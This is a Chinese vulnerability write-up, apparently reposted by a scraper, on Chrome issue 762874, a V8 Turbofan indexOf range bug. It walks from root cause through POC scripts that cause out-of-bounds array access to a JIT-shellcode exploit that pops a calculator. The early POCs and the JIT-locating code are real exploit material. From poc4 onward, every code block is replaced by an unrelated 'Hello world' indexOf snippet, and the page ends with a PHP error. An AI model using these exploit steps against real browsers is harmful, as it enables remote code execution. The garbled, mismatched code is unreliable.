Chrome issue 762874 – 安全客,安全资讯平台 | xxxChrome issue 762874 – 安全客,安全资讯平台 – xxx
菜单

Chrome issue 762874 – 安全客,安全资讯平台

九月 14, 2020 - 安全客

Chrome issue 762874 - 安全客,安全资讯平台

 

0 环境与背景知识

0.1 环境

Chrome issue 762874 - 安全客,安全资讯平台

首先搜一下在chrome的bug库中找到对应的issue号

从下面的评论中找到了对应的含有漏洞的v8版本

Chrome issue 762874 - 安全客,安全资讯平台

还原到parent版本

Chrome issue 762874 - 安全客,安全资讯平台

下图中的两个版本应该是都可以的(对于旧的版本可以使用JIT 新的v8版本可以使用wasm方法)这里的新指6.7版本之后的)当然了使用传统的泄漏libc方法也可以

Chrome issue 762874 - 安全客,安全资讯平台

Chrome issue 762874 - 安全客,安全资讯平台

0.2 Javascript indexOf方法

indexOf() 方法可返回某个指定的字符串值在字符串中首次出现的位置。

stringObject.indexOf(searchvalue,fromindex) 
参数描述
searchvalue必需。规定需检索的字符串值。
fromindex可选的整数参数。规定在字符串中开始检索的位置。它的合法取值是 0 到 stringObject.length – 1。如省略该参数,则将从字符串的首字符开始检索。

这里的fromindex补丁后是0到length-1,我们看到在漏洞版本中是-1到length-1(源码如下)

Chrome issue 762874 - 安全客,安全资讯平台

下面是几个这个函数使用的例子(取自菜鸟教程)

<script type="text/javascript">  var str="Hello world!" document.write(str.indexOf("Hello") + "<br />") document.write(str.indexOf("World") + "<br />") document.write(str.indexOf("world"))  </script> 

三个输出分别是

0 -1 6 

下面我们看下面的使用方法

'1234'.indexOf("",1) 

第二个参数是开始匹配的位置,第一个参数为空,这样的话一定匹配成功,返回我们给的第二个参数

Chrome issue 762874 - 安全客,安全资讯平台

不过当我们尝试越界访问的时候返回的是length

Chrome issue 762874 - 安全客,安全资讯平台

0.3 JIT

在 JavaScript 引擎中增加一个监视器监控着代码的运行情况,记录代码一共运行了多少次、如何运行的等信息。如果同一行代码运行了多次,这个代码段就会被送给JIT机制进行编译和优化,将编译后的机器代码保存在缓存中,下次直接执行这块机器代码即可,大大提高了一些情况下代码的执行效率。

在较早期版本的v8引擎中,经常使用向JIT写入shellcode的方式。不过在6.7版本之后,JIT的区域会被标记为不可写。可以考虑JIT Spray/JIT ROP之类的绕过。个人感觉JIT和wasm是很像的,wasm的介绍可以从文章找一下

下面的代码可以用来寻找JIT

//让function变hot function f() {     for(let i=0;i<0x1000000;i++)     {         let a='migraine';         } } //通过jsfunction结构找到JIT的地址 let jsfunc_addr=wr.leak_obj(f); let jit_addr=wr.read(jsfunc_addr+6*8)-1; console.log("jsfunction address = "+hex(jsfunc_addr)); console.log("jit address = "+hex(jit_addr)); 

也可以使用debug调试(建议),比如下面

Chrome issue 762874 - 安全客,安全资讯平台

Code Builtin位置就是我们要写的位置

对应的可以找到偏移是0x38(对应上图中的job)

pwndbg> x/20gx 0xd0398602ef9-1 0xd0398602ef8:    0x00000350944024c1    0x00003d0ed2002251 0xd0398602f08:    0x00003d0ed2002251    0x00003d0ed2002321 0xd0398602f18:    0x0000125dd6732389    0x0000125dd6703cd1 0xd0398602f28:    0x0000125dd6732561    0x00002ad94bb0df41  <====== 0xd0398602f38:    0x00003d0ed20022e1    0x1beefdad0beefdaf 

我们找到的位置是下图中的一部分

Chrome issue 762874 - 安全客,安全资讯平台

接着根据RWX段找到具体代码

Chrome issue 762874 - 安全客,安全资讯平台

可见偏移是0x60

所以找RWX地址的代码就是

var jit_addr = addrof(jit) - 1; console.log("jit_addr ==> 0x"+jit_addr.toString(16)) var rwx_addr = abread(jit_addr+0x38) - 1 + 0x60 console.log("rwx_addr ==> 0x"+rwx_addr.toString(16)) 

 

1 漏洞分析

起初漏洞分析的时候参考的是

https://docs.google.com/presentation/d/1DJcWByz11jLoQyNhmOvkZSrkgcVhllIlCHmal1tGzaw/edit#slide=id.p

中关于这个issue的分析,后来复现的时候发现与我所面对有所出入(即下文中的2**28)

1.1 优化时分析

在Turbofan 的Typer中将indexof 的range分析设计成了-1到length-1,如下图中的源码

Chrome issue 762874 - 安全客,安全资讯平台

所以在优化分析的时候,Typer会将这里的范围设定为 range(-1, kMaxLength-1)

1.2 运行时分析

但是真正运行的时候,indexOf后面的参数最大只能到2**28-16位置,

当我们输入更大的数字给它时,它也只能返回2**28-16

例如我下面截图中的一些尝试,最后一个按照函数正确的调用应该返回2**28,

但是却只到了2**28-16

Chrome issue 762874 - 安全客,安全资讯平台

1.3 总结

笔者想到了一个表格,感觉可以形象的表述如何触发bug

传入x = 2**28-16

根据上面的尝试(其实后面发现这个出错了),写了下面的表格

程序流程(右侧的范围指这一行新出现的变量的取值范围)优化时情况运行时情况
let b = ‘A’.repeat(2**28-16).indexOf(“”,x)range(-1,2**28-17)(0,2**28-16)
let a = b+16range(15,2**28-1)(16,2**28)
let c = a >> 28range(0,0)(0,1)
let idx = c * 1337range(0,0)(0,1337)

简单的解释一下,上面的表格可以设计成一个函数,第二列是优化的时候见到的情况,第三列则是运行时的实际情况.

如果我们使用表中得到的idx去访问一个数组的话,优化时会认为我们访问的是0号元素,从而去掉checkBound节点,而实际运行时我们可以越界访问,从而导致OOB

 

2 POC 尝试触发漏洞

有了上面的表格POC就相对好写一点了

起初想用下面的代码触发

2.1

poc1.js

function foo(x) {     let oobArray = [1.1,2.2,3.3,4.4];     let b = 'A'.repeat(2**28-16).indexOf("",x);     let a = b + 16;     let c = a >> 28;     // c = c - 3;     let idx = c * 1337;     return oobArray[idx]; }  print(foo(1)); print(foo(1)); %OptimizeFunctionOnNextCall(foo); print(foo(2**28-16)); 

但是发现失败了,被检测到了越界

Chrome issue 762874 - 安全客,安全资讯平台

使用Turbolizer看一下优化的过程

问题似乎处在Typer阶段

Chrome issue 762874 - 安全客,安全资讯平台

我们希望这里的range是(-1,2**28-17),但是后面那个1073741798明显大了很多

这里就导致了Simplified Lowering阶段仍然有CheckBound节点

Chrome issue 762874 - 安全客,安全资讯平台

刚开始猜测可能是我将x当做参数传给函数,它不知道这个x的范围,所以设计的很大,于是改了一下POC

2.2

poc2.js

function foo() {     x = 2**28-16;     let oobArray = [1.1,2.2,3.3,4.4];     let b = 'A'.repeat(2**28-16).indexOf("",x);     let a = b + 16;     let c = a >> 28;     let idx = c * 1337;     return oobArray[idx]; }  print(foo()); print(foo()); %OptimizeFunctionOnNextCall(foo); print(foo()); 

结果还是同样的,CheckBound节点没有去除,猜测可能这个优化的最大界就是那个数字,

尝试了修改字符串的长度,然后看一下优化图解

2.3

poc3.js

(0,1337) function foo(x) {     let oobArray = [1.1,2.2,3.3,4.4];     let b = 'A'.repeat(16).indexOf("",x);     let a = b + 16;     let c = a >> 28;     let idx = c * 1337;     return oobArray[idx]; }  print(foo(1)); print(foo(1)); %OptimizeFunctionOnNextCall(foo); print(foo(16)); 

发现最大界限仍然是这个数字(2**30-26)

Chrome issue 762874 - 安全客,安全资讯平台

猜测上面MaxLength对应的源码不是2**28次方了,测试一下

Chrome issue 762874 - 安全客,安全资讯平台

可以看到确实MaxLength不在是之前的2**28-16

重新测试了一下运行情况

Chrome issue 762874 - 安全客,安全资讯平台

2.4

尝试修改一下上面的表格(x = 2**30-25)

程序流程(右侧的范围指这一行新出现的变量的取值范围)优化时情况运行时情况
let b = ‘A’.repeat(2**30-25).indexOf(“”,x)range(-1,2**30-26)2**30-25
let a = b+25range(24,2**30-25)2**30
let c = a >> 30range(0,0)1
let idx = c * 5range(0,0)5

下面是我一步一步运行poc时得到的结果

<script type="text/javascript">  var str="Hello world!" document.write(str.indexOf("Hello") + "<br />") document.write(str.indexOf("World") + "<br />") document.write(str.indexOf("world"))  </script> 

0

重新写一下POC

poc4.js

<script type="text/javascript">  var str="Hello world!" document.write(str.indexOf("Hello") + "<br />") document.write(str.indexOf("World") + "<br />") document.write(str.indexOf("world"))  </script> 

1

运行结果…..越界失败 起初我根据下面的图以为越界失败了

Chrome issue 762874 - 安全客,安全资讯平台

但是当我输出上面poc的index的时候发现实际上越界成功了(输出idx的效果如下图)

<script type="text/javascript">  var str="Hello world!" document.write(str.indexOf("Hello") + "<br />") document.write(str.indexOf("World") + "<br />") document.write(str.indexOf("world"))  </script> 

2

优化图解

Chrome issue 762874 - 安全客,安全资讯平台

我们确实得到了range(0,0),而且也没有了checkBound节点.

2.5

最后进一步完善一下,写出了下面的poc

poc5.js

<script type="text/javascript">  var str="Hello world!" document.write(str.indexOf("Hello") + "<br />") document.write(str.indexOf("World") + "<br />") document.write(str.indexOf("world"))  </script> 

3

上面POC的效果是将oobArray的第5个元素修改成1.74512933848984e-310;//i2f(0x202000000000)

在debug模式下运行一下

Chrome issue 762874 - 安全客,安全资讯平台

从上图中可以发现OOB成功

 

3 EXP

接下来的流程就是和之前的利用方法相似了,只不过最后一步用的是JIT,使用ArrayBuffer object 实现弹出计算器

如果不清楚这次利用的方法,建议阅读上面链接中的背景知识

3.1 change the size of oobArray

通过debug模式下的图解,我们可以知道我们要修改的是idx = 7的位置(如下图)

Chrome issue 762874 - 安全客,安全资讯平台

我尝试用下面的脚本进行修改大小时

<script type="text/javascript">  var str="Hello world!" document.write(str.indexOf("Hello") + "<br />") document.write(str.indexOf("World") + "<br />") document.write(str.indexOf("world"))  </script> 

4

按理说应该会改成0x2020

Chrome issue 762874 - 安全客,安全资讯平台

修改成功

3.2 Read and write at any address && obj leak

利用ArrayBuffer 的 Backstore指针 与 object

如果这一步不是很懂,可以看一下之前的背景知识

本部分的代码如下

其中gc()函数是使得内存更加的稳定

<script type="text/javascript">  var str="Hello world!" document.write(str.indexOf("Hello") + "<br />") document.write(str.indexOf("World") + "<br />") document.write(str.indexOf("world"))  </script> 

5

这里简单解释一下,笔者在oob地址下方push了一个ArrayBuffer 和 一个object

并通过oob数组越界找到其位置,运行效果如下

Chrome issue 762874 - 安全客,安全资讯平台

之后写了三个函数,分别用于泄漏地址,任意地址读,任意地址写

<script type="text/javascript">  var str="Hello world!" document.write(str.indexOf("Hello") + "<br />") document.write(str.indexOf("World") + "<br />") document.write(str.indexOf("world"))  </script> 

6

3.3 Get calc

这一步利用的是JIT

首先找到JIT代码的位置

<script type="text/javascript">  var str="Hello world!" document.write(str.indexOf("Hello") + "<br />") document.write(str.indexOf("World") + "<br />") document.write(str.indexOf("world"))  </script> 

7

之后写入shellcode并执行

<script type="text/javascript">  var str="Hello world!" document.write(str.indexOf("Hello") + "<br />") document.write(str.indexOf("World") + "<br />") document.write(str.indexOf("world"))  </script> 

8

最终效果

Chrome issue 762874 - 安全客,安全资讯平台

 

4 遇到的问题

4.0

说明:下面的问题是我刚开始想使用wasm方法写exp遇到的

写exp脚本的时候遇到了下面的问题

Chrome issue 762874 - 安全客,安全资讯平台

<script type="text/javascript">  var str="Hello world!" document.write(str.indexOf("Hello") + "<br />") document.write(str.indexOf("World") + "<br />") document.write(str.indexOf("world"))  </script> 

9

RangeError如果byteOffset超出了视图能储存的值,就会抛出错误.

这里最后的问题在于backstore的偏移找错了

应该是wasm的偏移找错了

解决方法在Debug模式下,打印出函数的地址,通过内存一点点找到RWX位置

打印出的函数地址,以及share_info位置

Chrome issue 762874 - 安全客,安全资讯平台

我们对应一下相对偏移(0x20)

Chrome issue 762874 - 安全客,安全资讯平台

同理利用上面的方法依次找到wasm instance RWX地址

Chrome issue 762874 - 安全客,安全资讯平台

实在不行,还可以search一下,比如上图我们找箭头的位置

Chrome issue 762874 - 安全客,安全资讯平台

下面的图片就不贴了,方法都是一样的

还有一个问题就是

下面脚本的位置有的时候在数字后面要加上’n’,有时不用 ,应该和不同版本的v8有关系

Chrome issue 762874 - 安全客,安全资讯平台

 

5 参考

https://docs.google.com/presentation/d/1DJcWByz11jLoQyNhmOvkZSrkgcVhllIlCHmal1tGzaw/edit#slide=id.p

https://migraine-sudo.github.io/2020/02/22/roll-a-v8/#JIT 关于JIT寻找部分

除了上面这些参考,后面大部分都是探索出来的

 

6 总结

6.1 对于Turbofan的理解有时比具体的利用思路更加的重要

6.2 菜鸟还得继续努力


Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51